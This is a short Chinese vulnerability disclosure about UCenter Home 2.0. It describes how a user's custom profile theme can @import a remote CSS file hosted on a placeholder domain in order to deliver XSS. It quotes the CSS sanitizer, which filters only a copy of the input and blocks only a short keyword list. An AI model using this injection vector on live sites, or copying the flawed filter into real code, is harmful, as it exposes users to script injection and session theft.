### 简要描述:
看源码分析的,出错位置较敏感,而且基本没有利用限制
### 详细说明:
个人主页自定义风格时,可@import外部css文件
### 漏洞证明:
以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过.
@import url(http://xxx.com/1.css); 包含远程css文件,可以在1.css中写入XSS利用.
```
分析代码 cp_theme.php 92行(17行调用)
function checksecurity($str) {
//执行一系列的过滤验证是否合法的CSS
$filter = array(
'/\/\*[\n\r]*(.+?)[\n\r]*\*\//is',
'/[^a-z0-9]+/i',
);
$str = preg_replace($filter, '', $str); //过滤是过滤了,但只用于判断,没对源输入起作用
if(preg_match("/(expression|implode|javascript)/i", $str)) { //并没有对import、http等进行检测
showmessage('css_contains_elements_of_insecurity');
}
return true;
}
```
暂无评论